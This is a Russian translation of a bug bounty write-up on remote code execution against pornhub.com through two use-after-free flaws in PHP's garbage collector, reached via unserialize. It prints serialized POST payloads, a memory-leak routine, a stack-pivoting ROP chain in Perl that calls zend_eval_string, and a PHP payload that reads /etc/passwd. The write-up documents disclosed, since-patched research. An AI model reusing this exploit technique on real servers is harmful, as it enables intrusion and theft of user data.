Две уязвимости в PHP, взлом Pornhub и вознаграждение 22.000 долларов

Две уязвимости в PHP, взлом Pornhub и вознаграждение 22.000 долларов

Основной задачей было углубиться внутрь системы настолько, насколько это возможно и найти уязвимости, позволяющие удаленно выполнить код.

Автор: Руслан Хабалов

Предисловие

Все началось с аудита сервиса Pornhub и поиска уязвимостей в PHP, после чего удалось осуществить взлом.

  • Мы смогли удаленно выполнить код на сайте pornhub.com, отправили отчет через сервис Hackerone и получили вознаграждение 20.000 долларов.
  • Мы нашли две уязвимости, связанные с использование освобожденной памяти (use-after-free), в алгоритме PHP, который предназначен для сбора мусора.
  • Обе бреши можно эксплуатировать удаленно через PHP-функцию unserialize.
  • Мы также получили 2.000 долларов от комитета Internet Bug Bounty.

Благодарности

Этот проект был реализован силами Дарио Вейбера (Dario Weißer, @haxonaut), cutz и Руслана Хабалова (@evonide). Выражаем особую благодарность cutz за помощь в соавторстве данной статьи.

Введение

Наше внимание привлекла программа по поиску дыр от сервиса Pornhub, опубликованная в Hackerone, и относительно высокое вознаграждение. Основной задачей было углубиться внутрь системы настолько, насколько это возможно и найти уязвимости, позволяющие удаленно выполнить код. В процессе поиска брешей в PHP, на котором работает Pornhub, были задействованы максимально возможные средства.

Обнаружение уязвимости

После анализа платформы мы обнаружили, что на веб-сайте используется функция unserialize. В частности, данная функция использовать при работе с изображениями и тому подобного:

  • http://www.pornhub.com/album_upload/create
  • http://www.pornhub.com/uploading/photo

Во всех случаях при получении данных из POST-запроса параметр «cookie» был несериализованным и впоследствии отражался через заголовки Set-Cookie. Пример запроса:
POST /album_upload/create HTTP/1.1
...
tags=xyz&title=xyz...&cookie=a:1:{i:0;i:1337;}

Response Header:
Set-Cookie: 0=1337; expires 

Сей факт впоследствии подтверждался посредством отсылки специально сформированного массива, содержащего объект:
tags=xyz&title=xyz...&cookie=a:1:{i:0;O:9:"Exception":0:{}}
Ответ на отосланный запрос:
0=exception 'Exception' in /path/to/a/file.php:1337
Stack trace:
#0 /path/to/a/file.php(1337): unserialize('a:1:{i:0;O:9:"E...')
#1 {main}

На первый взгляд, полученная информация не представляет особого интереса, но в целом широко известно, что использование пользовательских входных данных в функции unserialize – плохая затея. В качестве примера можете ознакомиться со следующими статьями:

Стандартные техники эксплуатации подобных уязвимостей требуют использования так называемого Property-Oriented-Programming (POP), который связан со злоупотреблением уже существующих классов со специальными «магическими методами» для того, чтобы выполнить вредоносный код. В нашем случае было довольно сложно получить информацию о любых фреймворках и объектах в целом, используемых в Pornhub. Было безуспешно протестировано множество классов из самых распространенных фреймворков.

Описание уязвимости

Главный десерализатор в PHP 5.6 относительно сложен и содержит более 1200 строк кода. Кроме того, многие внутренние PHP-классы имеют собственные методы, предназначенные для десериализации. Из-за поддержки различных сущностей, включая объекты, массивы, целые числа, строки и даже ссылки, неудивительно, что в PHP столько уязвимостей, связанных с нарушением целостности памяти. К сожалению, информация о подобных брешах для новых версий (PHP 5.6 или PHP 7) отсутствовала, поскольку ранее к десериализации уже было приковано особое внимание (см. phpcodz). Таким образом, процесс аудита был похож на выжимание уже хорошо выжатого лимона.  После столь большого внимания к данной области и патчей, исправляющих потенциальные уязвимости, все должно быть безопасно, не правда ли?

Стресс-тест функции unserialize

Чтобы выяснить, настолько ли все безопасно и безоблачно, Дарио написал специальный фаззер (средство, позволяющее автоматически тестировать код) для обработки сериализованных строк, передаваемых в функцию unserialize. Запуск фаззера в PHP 7 тут же привел к недокументированному поведению. Однако этот трюк не удалось воспроизвести в Pornhum, и мы решили, что там используется PHP 5.

При запуске фаззера на платформе PHP 5 мы получили логи размером более 1 ТБ, но без какого-либо успеха. Последующее тестирование заставило нас вновь задуматься о ранее выявленном недокументированном поведении. Необходимо было ответить на несколько вопросов: относилась ли эта проблема к сфере безопасности? Можно ли было эксплуатировать эту брешь только локально или удаленно тоже? Для дополнительного усложнения фаззер начал генерировать непечатаемые блобы данных размером более 200 Кб.

Анализ недокументированного поведения

Большая часть времени требовалась для анализа потенциальных проблем. В конце концов, нам удалось получить концепцию рабочей уязвимости, связанной с нарушением целостности памяти – бреши типа use-after-free! При последующем исследовании выяснилось, что причины кроются в алгоритме сбора мусора, компоненте в PHP, который не имеет никакого отношения к функции unserialize. Однако взаимодействие обоих компонентов возникало после того, как функция unserialize завершала свою работу, что не очень подходит для удаленной эксплуатации. Последующий анализ помог глубже понять проблему и найти другие похожие уязвимости, которые были уже более подходящими для удаленной эксплуатации.

Ссылки на описания брешей:

Поскольку уязвимости и методы нахождения нетривиальны, возникла необходимость в написании отдельных статей. Более подробно по теме фаззинга функции unserialize Дарио написал отдельную статью

Кроме того, была написана статья под названием Breaking PHP’s Garbage Collection and Unserialize.

Эксплуатация уязвимостей

Несмотря на то, что найденные бреши типа use-after-free выглядели привлекательно, методы эксплуатации оказались непростыми, и весь процесс подразделялся на несколько стадий. Поскольку главной целью было выполнение произвольного кода, необходимо было тем или иным образом скомпрометировать указатель инструкции процессора под названием RIP (на платформе x86_64). При решении данной задачи возникают следующие препятствия:

  • Стек и куча (которые также содержат информацию, введенную пользователем), как и другие сегменты, имеют флаг, запрещающий запись (см. Executable space protection).
  • Даже если вы сможете управлять указателем инструкции, необходимо знать, что выполнять. То есть необходимо иметь валидный адрес сегмента памяти, пригодного для выполнения. Для решения этой задачи чаще всего используется функция system (из библиотеки libc) для выполнения shell-команд. В случае с PHP зачастую достаточно выполнить функцию zend_eval_string, которая обычно вызывается, если вы, к примеру, используете конструкцию “eval(‘echo 1337;’);” в PHP-скрипте. То есть данная функция позволяет выполнить произвольный PHP-код без задействования других библиотек.

Первая проблема решается при помощи возвратно-ориентированного программирования (Return-oriented programming, ROP), где вы можете использовать уже существующие и выполняемые участки памяти из бинарного файла или библиотек. Вторая проблема решается поиском правильного адреса функции zend_eval_string. Обычно при запуске динамически линкованной программы загрузчик помещает процесс по адресу 0x400000, который является стандартным адресом загрузки на платформе x86_64. В случае если вы уже каким-то образом получили исполняемый файл интерпретатора PHP (например, нашли пакет, собранный на целевой машине), то можете локально поискать смещение к любой нужной функции. Мы обнаружили, что в Pornhub используется нестандартная версия php5-cgi, что осложняет определение версии PHP и получение любой другой информации о структуре памяти процесса интерпретатора.

Получение бинарного файла PHP и необходимых указателей

Уязвимостей типа use-after-free в PHP обычно эксплуатируются по схожим правилам. Как только вы смогли заполнить освобожденную память, которая впоследствии многократно используется как внутренняя PHP-переменная (так называемые zval’ы), вы можете генерировать вектора, позволяющие считывать информацию из любого участка памяти и выполнять код.

Подготовка к раскрытию памяти

Как было упомянуто ранее, нам необходимо было получить больше информации относительно бинарного файла PHP, используемого в Pornhub. Таким образом, первый шаг – использование уязвимости use-after-free для инжектирования zval’а, представляющего PHP-строку. Структура zval в PHP 5.6 выглядит следующим образом:

"Zend/zend.h"
[...]
struct _zval_struct {
zvalue_value value;       /* value */
zend_uint refcount__gc;
zend_uchar type;          /* active type */
zend_uchar is_ref__gc;
};

Ввиду того, что поле zvalue_value определено как union, фальсификация и компрометирование типов значительно упрощается.

"Zend/zend.h"
[...]
typedef union _zvalue_value {
long lval;          /* long value */
double dval;        /* double value */
struct {
char *val;
int len;
} str;
HashTable *ht;      /* hash table value */
zend_object_value obj;
zend_ast *ast;
} zvalue_value;

Строковая PHP-переменная соответствует zval с типом 6. Следовательно, тип union рассматривается как структура, содержащая указатель на первый символ и длину поля. Таким образом, если мы смастерим строковой zval с произвольным указателем и длинной поля, то сможем получить нужную информацию в заголовке ответа при отражении функцией setcookie() инжектированного zval’а.  

Поиск адреса загрузки интерпретатора PHP (image base)

Обычно все начинается с получения бинарного файла, который, как было сказано ранее, начинается с адреса 0x400000. К сожалению, на сервере Pornhub используются защиты наподобие PIE и ASLR, рандомизирующие адрес загрузки процесса и разделяемых библиотек. Подобная ситуация становится все более распространенной, поскольку большинство пакетов распространяются с позиционно независимым кодом. То есть следующая задача – найти корректный адрес загрузки бинарного файла.

Первая сложность – каким-либо образом получить хотя бы один корректный адрес, откуда можно начать копирование бинарного файла. И здесь полезно предварительно ознакомиться с тем, как устроена внутренняя память в PHP. В частности, при освобождении zval из памяти далее PHP перезаписывает первые восемь байт адресом на предыдущую освобожденную область данных. Таким образом, для того чтобы получить первый корректный адрес, нам нужно создать целочисленный zval, освободить созданный zval и затем использовать висячий указатель на этот zval для получения текущего значения.

Поскольку в php-cgi используется множество процессов, ответвленных от главного процесса, схема памяти не изменяется между различными запросами при условии, что мы отсылаем данные одного и того же размера. Мы можем отсылать запрос за запросом и каждый раз копировать различные порции памяти посредством изменения начального адреса поддельной строки zval. Однако получения адреса освобожденной кучи самого по себе не достаточно, чтобы получить какие-либо зацепки за месторасположение области выполнения бинарного файла. Подобное происходит потому, что вокруг освобожденной области отсутствует достаточное количество полезной информации. 

Для получения интересующих нас адресов существует сложная техника, где используется множественные освобождения и размещения PHP-структур во время процесса десериализации (см. презентацию ROP in PHP applications, слайд 67). Из-за специфики нашего случая и желания упростить задачу настолько, насколько возможно, мы решили пойти другим путем.

При помощи сериализованной строки наподобие «i:0;a:0:{}i:0;a:0:{}[…]i:0;a:0:{}» как части конечной несериализованной полезной нагрузки мы можем воспользоваться функцией unserialize для создания множества пустых массивов и впоследствии освободить созданные объекты после завершения работы unserialize. При инициализации массива PHP последовательно выделяет память для zval и hashtable. Одна стандартная запись в hashtable для пустых массивов – символ uninitialized_bucket. В итоге мы смогли получить фрагмент памяти, который выглядит примерно так:

0x7ffff7fc2fe0: 0x0000000000000000 0x0000000000eae040
[...]
0x7ffff7fc3010: 0x00007ffff7fc2b40 0x0000000000000000
0x7ffff7fc3020: 0x0000000100000000 0x0000000000000000
0x7ffff7fc3030: # <--------- This address was leaked in a previous request.
0x7ffff7fc3040: 0x00007ffff7fc2f48 0x0000000000000000
0x7ffff7fc3050: 0x0000000000000000 0x0000000000000000
[...]
0x7ffff7fc30a0: 0x0000000000eae040 0x00000000006d5820
(gdb) x/xg 0x0000000000eae040
0xeae040 <uninitialized_bucket>: 0x0000000000000000

0xeae040 – адрес символа uninitialized_bucket ивтожевремяпрямойуказательнаBSS-сегмент. Вы можете видеть, что подобное происходит несколько раз по соседству с последней освобожденной областью. Как было сказано ранее, многие пустые массивы были освобождены. Таким образом, пользуясь тем, что некоторые записи hashtable остаются неизменными внутри кучи, мы смогли получить этот специальный символ. И, наконец, нам удалось выполнить постраничное обратное сканирование, начиная с адреса символа uninitialized_bucket, для нахождения заголовка ELF.

$start &= 0xfffffffffffff000;
$pages += 0x1000 while leak($start - $pages, 4) !~ /^\x7fELF/;
return $start - $pages;

Получение интересных сегментов бинарного файла PHP

На данный момент ситуация осложняется тем, что мы научились получать лишь 1 КБ данных в один запрос (из-за ограничений размера заголовка на сервере Pornhub). Бинарный файл PHP может занимать до 30 МБ. Если выполнять один запрос в секунду, то время получения полного файла может занимать до 8 часов 20 минут. Поскольку мы боялись, что процесс эксплуатации уязвимости может быть прерван в любой момент, необходимо было действовать как можно быстрее и незаметнее. Нам потребовалось реализовать эвристические алгоритмы для заблаговременной фильтрации интересных секций. Тем не менее, мы могли разложить любую структуру, на которую была ссылка внутри ELF-строки и таблицы символов. Существуют другие техники наподобие ret2dlresolve, позволяющие пропустить весь процесс получения, но в нашем случае данные методы были не совсем подходящими, поскольку требовали создания дополнительных структур данных и знания относительно различных участков памяти. 

Чтобы получить адрес функции zend_eval_string, вначале необходимо найти программные заголовки формата ELF, которые находятся по смещению 32. Затем нужно просканировать вперед до тех пор, пока не найдется программный заголовок с типом 2 (PT_DYNAMIC), для того, чтобы получить динамическую секцию ELF. Данная секция содержит ссылку на строку и таблицу символов (тип 5 и 6), которые вы можете полностью выгрузить, используя размер поля вместе с любой функцией, чей виртуальный адрес вы желаете получить. Кроме того, вы также можете использовать hashtable (DT_HASH) для более быстрого нахождения функций, но этот метод уже не столь интересен, поскольку вы можете работать с таблицами локально. В дополнении к функции zend_eval_string нам интересны символы и местонахождение POST-переменных (поскольку предполагается, что эти переменные далее будут использоваться в качестве ROP-стека).

Получение адреса POST-данных

Чтобы получить адрес передаваемых POST-данных, необходимо найти указатели при помощи следующей цепочки:

(*(*(php_stream_temp_data )(sapi_globals.request_info.request_body.abstract)).innerstream).readbuf

Проход вышеуказанной цепочки выглядит довольно сложным, но на самом деле после разыменования несколько указателей с правильным смещением мы быстро найдем поток stdin:// , указывающий на POST-данные внутри кучи.

Подготовка полезной нагрузки для ROP

Вторая часть связана с получением управления над процессом PHP и перехватом потока выполнения кода. Для решения этой задачи вначале необходимо разобраться, как модифицировать указатель инструкции.

Перехват указателя инструкции

Мы добавили в нашу полезную нагрузку фальшивый объект (вместо ранее использованной строки zval) с указателем на специально сформированную таблицу zend_object_handlers. По сути, данная таблица представляет собой массив указателей на функции, определение структуры которой можно найти здесь:

"Zend/zend_object_handlers.h"
[...]
struct _zend_object_handlers {
zend_object_add_ref_t add_ref;
[...]
};

При создании подобной фальшивой таблицы zend_object_handlers, необходимо установить параметр add_ref. Функция, стоящая за данным указателем, управляет увеличением счетчика ссылок объекта. После создания поддельного объекта и передачи этого объекта в качестве параметра в функцию «setcookie» произойдет следующее:

#0  _zval_copy_ctor
#1  0x0000000000881d01 in parse_arg_object_to_string
[...]
#5  0x00000000008845ca in zend_parse_parameters (num_args=2, type_spec=0xd24e46 "s|slssbb")
#6  0x0000000000748ad5 in zif_setcookie
[...]
#14 0x000000000093e492 in main

У setcookie должен быть хотя бы один обязательный параметр. Мы передаем наш объект в качестве второго (необязательного) параметра, который функция будет пытаться преобразовать в строку. Затем выполняется функция zval_copy_ctor:

"Zend/zend_variables.c"
[...]
ZEND_API void _zval_copy_ctor_func(zval *zvalue ZEND_FILE_LINE_DC)
{
[...]
case IS_OBJECT:
{
TSRMLS_FETCH();
Z_OBJ_HT_P(zvalue)->add_ref(zvalue TSRMLS_CC);
[...]
}

Здесь происходит вызов функции, на которую указывает add_ref, вместе с адресом нашего объекта, используемого в качестве параметра (более подробно см. PHP Internals Book – Copying zvals). Соответствующий ассемблерный код выглядит так:

<_zval_copy_ctor_func+288>: mov    0x8(%rdi),%rax
<_zval_copy_ctor_func+292>: callq  *(%rax)

В коде, приведенном выше, RDI выступает в качестве первого аргумента в функции _zval_copy_ctor_func и в то же время является адресом на наш поддельный объект zval (или zvalue в исходном коде выше). Внутри определения _zvalue_value(см. выше) есть элемент obj с типом zend_object_value, который определен так:

"Zend/zend_types.h"
[...]
typedef struct _zend_object_value {
zend_object_handle handle;
const zend_object_handlers *handlers;
} zend_object_value;

Следовательно, 0x8(%rdi) будет указывать на вторую запись внутри _zend_object_value, которая соответствует адресу первой записи внутри zend_object_handlers. Как было упомянуто ранее, данная запись представляет собой функцию, на которую указывает add_ref, что также объясняет, зачем мы напрямую управляем регистром RAX.

Чтобы обойти проблему, связанную с невыполняемой памятью, нам потребовалось собрать дополнительную информацию. В частности, нужно было собрать полезные гаджеты и подготовить подмену стека (stack pivoting) для ROP-цепи, поскольку к тому момент стек не был под нашим контролем.

Поиск ROP-гаджетов

На данный момент мы можем установить параметр add_ref (или, соответственно, регистр RAX) для контроля над указателем инструкции. Хотя сей факт закладывает хорошую основу, но не гарантирует запуска всех ROP-гаджетов, поскольку после выполнения первого гаджета процессор берет из текущего стека адрес следующей инструкции. Поскольку мы не контролируем стек в достаточной степени, необходима подмена стека на нашу ROP-цепь. Таким образом, следующий шаг – копирование RAX в RSP и последующее выполнение ROP-цепи оттуда. Используя локально скомпилированную версию PHP, мы поискали гаджеты, подходящие для подмены стека, и обнаружили, что функция hp_stream_bucket_split содержит следующий участок кода:

<php_stream_bucket_split+381>: push %rax    # <------------
<php_stream_bucket_split+382>: sub $0x31,%al
<php_stream_bucket_split+384>: rcrb $0x41,0x5d(%rbx)
<php_stream_bucket_split+388>: pop %rsp     # <------------
<php_stream_bucket_split+389>: pop %r13
<php_stream_bucket_split+391>: pop %r14
<php_stream_bucket_split+393>: retq   

Вышеуказанный код прекрасно подошел для модификации RSP и указания на наши POST-данные с ROP-цепью, эффективно соединяя все остальные вызовы гаджетов.

Согласно соглашению о вызовах платформы x86_64, первые два параметра функции – RDI и RSI, и мы, соответственно, должны найти гаджеты pop %rdi  и pop %rsi. Данные гаджеты довольно распространены и легко находятся. Хотя мы еще не знаем, присутствуют ли эти гаджеты в версии PHP, используемой в сервисе Pornhub. Соответственно, нужно было проверить присутствие этих гаджетов вручную.

Проверка наличия нужных ROP-гаджетов

Функция leak помогла быстро выгрузить дизассемблированную версию функции php_stream_bucket_split и проверить присутствие нужных гаджетов в версии PHP на сервере Pornhub. В конечном итоге потребовалось лишь небольшая модификация смещений, и мы выяснили, что все адреса корректны:

my $pivot  = leak($php_base + 0x51a71f, 13);
my $poprdi = leak($php_base + 0x2b904e, 2);
my $poprsi = leak($php_base + 0x50ee0c, 2);

die '[!] pivot gadget doesnt seem to be right', $/
unless ($pivot eq "\x50\x2c\x31\xc0\x5b\x5d\x41\x5c\x41\x5d\x41\x5e\xc3");

die '[!] poprdi gadget doesnt seem to be right', $/
unless ($poprdi eq "\x5f\xc3");

die '[!] poprsi gadget doesnt seem to be right', $/
unless ($poprsi eq "\x5e\xc3");

Формирование ROP-стека

Конечная полезная нагрузка на базе ROP, выполняющая код zend_eval_string(code); exit(0);, похожа на сниппет, показанный ниже:

my $rop = "";
$rop .= pack('Q', $php_base + 0x51a71f);              # pivot rsp
$rop .= pack('Q', 0xdeadbeef);                        # junk
$rop .= pack('Q', $php_base + 0x2b904e);              # pop rdi
$rop .= pack('Q', $post_addr + length($rop) + 8 * 7); # pointing to $php_code
$rop .= pack('Q', $php_base + 0x50ee0c);              # pop rsi
$rop .= pack('Q', 0);                                 # retval_ptr
$rop .= pack('Q', $zend_eval_string);                 # zend_eval_string
$rop .= pack('Q', $php_base + 0x2b904e);              # pop rdi
$rop .= pack('Q', 0);                                 # exit code
$rop .= pack('Q', $exit);                             # exit
$rop .= $php_code . "\x00";

Поскольку внутри подмененного стека есть инструкции pop %r13 и pop %r14, в оставшейся цепи необходимо дополнение (padding) 0xdeadbeef для продолжения настройки регистра RDI. В качестве первого параметра в функции zend_eval_stringRDI требует ссылку на код, который будет выполняться. Данный код находится сразу же после ROP-цепи. Кроме того, требуется отсылка одинаковых объемов данных между каждым запросом так, чтобы все вычисленные смещения оставались корректными. Данная задача решается посредством использования различных дополнений там, где это необходимо.

Следующий шаг – выполнить код, возвратившись обратно в интерпретатор PHP. Остальные техники (наподобие return2libc) вполне применимы, но создают дополнительные проблемы, которые легче решить, оставаясь в контексте интерпретатора PHP.

Возврат в интерпретатор PHP

Запустить произвольный PHP-код  - важный шаг, но получение результатов работы кода – не менее важная задача, если только вы не хотите пользоваться сторонними каналами для получения ответов. Таким образом, нам осталось вывести результаты работы кода на сайте Pornhub.

Корректное завершение интерпретатора PHP

Обычно php-cgi перенаправляет сгенерированный контент обратно на веб-сервер для отображения на веб-сайте. Однако в нашем случае происходит прерывание потока выполнения, что приводит к ненормальному завершению работы интерпретатора PHP, и, как следствие, и результаты отработки кода никогда не попадут на HTTP-сервер. Чтобы решить эту проблему, мы просто воспользуемся небуферизованными ответами, которые обычно используются при потоковой передаче по протоколу HTTP.

my $php_code = 'eval(\'
header("X-Accel-Buffering: no");
header("Content-Encoding: none");
header("Connection: close");
error_reporting(0);
echo file_get_contents("/etc/passwd");
ob_end_flush();
ob_flush();
flush();
\');';

Данный трюк поможем нам напрямую получать результаты работы полезной нагрузки без необходимости очистки, которая обычно используется, когда процесс CGI отсылает данные на веб-сервер. Кроме того, мы увеличиваем незаметность посредством уменьшения количества потенциальных ошибок и падений.

Подводим итоги. Наша полезная нагрузка содержит фальшивый объект с указателем add_refна первый ROP-гаджет. На диаграмме ниже показана вся концепция:

Final version of the crafted zval object
Рисунок 1: Структурная схема полезной нагрузки

Конечная версия объекта zval

Вместе с ROP-стеком, передаваемым при помощи POST-данных, наша полезная нагрузка делает следующее:

  • Создает поддельный объект, который впоследствии передается в качестве параметра функции «setcookie».
  • Вызывает функцию по указателю add_ref, что дает нам контроль над программным счетчиком.
  • ROP-цепь подготавливает все регистры/параметры, упомянутые ранее.
  • Выполняется произвольный PHP-код при помощи вызова zend_eval_string.
  • Инициируется корректное завершение интерпретатора, и считываются результаты работы кода из тела ответа.

После запуска кода, приведенного выше, было получено содержимое файла ‘/etc/passwd’ с сервера Pornhub. Схема атаки также позволяет выполнять другие команды и вклиниваться в поток PHP-кода для запуска системных вызовов. Однако пользоваться чистым PHP намного удобнее. В конце мы получили некоторые детали о системе и тут же отослали отчет в Pornhub через сервис Hackerone.

Хронология событий

Ниже представлена хронология всех событий, имеющих отношения к поиску уязвимостей и взлому Pornhub:

  • 30 мая 2016 года: Взлом сервера Pornhub и отправка отчета о проблеме через сервис Hackerone. Через несколько часов удалены вызовы функции unserialize, и проблема устранена.
  • 14 июня 2016 года: Получена награда в размере 20.000 долларов.
  • 16 июня 2016 года: Отправлен отчет о проблемах на bugs.php.net.
  • 21 июня 2016 года: Устранение обеих ошибок в репозитории безопасности PHP.
  • 27 июня 2016 года: Получение награды Hackerone IBB в размере 2.000 долларов (по тысяче за каждую уязвимость).
  • 22 июля 2016 года: Pornhub пометил отчет как решенный в сервисе Hackerone.

Заключение

Нам удалось удаленно выполнить код, что открывает следующие возможности:

  • Выгрузка все базы данных сайта pornhub.com, включая всю конфиденциальную информацию о пользователях.
  • Отслеживание поведение пользователей на платформе.
  • Получение всех исходных текстов всех сайтов, находящихся на сервере.
  • Проникновение в сеть или получение прав суперпользователя.

Естественно, мы не стали делать ничего из того, о чем упомянуто в списке выше. Мы очень внимательно и осторожно отнеслись к цели и ограничениям, прописанным в программе по нахождению уязвимостей. Нам удалось найти две бреши нулевого дня в алгоритме для сбора мусора в интерпретаторе PHP. Данные уязвимости, хотя и находили в совершенно другом контексте, могли бы удаленно эксплуатироваться в контексте функции unserialize.
Хорошо известно, что использование пользовательских данных в функции unserialize – плохая затея. С момента нахождение первой подобной уязвимости прошло уже около 10 лет, но даже сегодня многие разработчики считают, что использовать unserialize небезопасно только в старых версиях PHP или в сочетании с небезопасными классами. Мы очень надеемся, что пример из данной статьи опровергнет данное убеждение. Рекомендуем повесить функцию unserialize на гвоздь так, чтобы вышеупомянутая мантра стала неактуальной.

Никогда не используйте пользовательские данные вместе с функцией unserialize. Полагать, что в новых версиях PHP такой проблемы не существует, - плохая идея. Либо избегайте полностью этой функции, либо используйте менее сложные методы сериализации (например, JSON).

Новые версии PHP уже исправлены, и вам следует обновить и PHP 5 и PHP 7.

Выражаем благодарности коллективу Pornhub:

  • За очень вежливые и компетентные ответы.
  • За реальную заботу о безопасности (а не просто формальный подход к проблеме, как это делают многие другие компании).
  • За щедрое вознаграждение по факту найденных уязвимостей (20.000 долларов). Согласно последнему обновлению в отчетах Sinthetic Labs’s Public Hackerone Reports,  вознаграждение за наши находки, опубликованные через сервис Hackerone, одно из самых высоких.

Кроме того, выражаем благодарности разработчикам интерпретатора PHP за быстрое исправление уязвимостей и комитет Internet Bug Bounty за дополнительное вознаграждение в размере 2.000 долларов.

И, наконец, мы хотим подчеркнуть важность подобных программ. Как вы могли убедиться, высокая награда мотивирует специалистов по безопасности к поиску новых уязвимостей, что также благотворно влияет на другие сайты и сервисы.

Не забудьте ознакомиться с двумя другими нашими статьями, где описывается процесс нахождения брешей в PHP.

Цифровые следы - ваша слабость, и хакеры это знают.

Подпишитесь и узнайте, как их замести!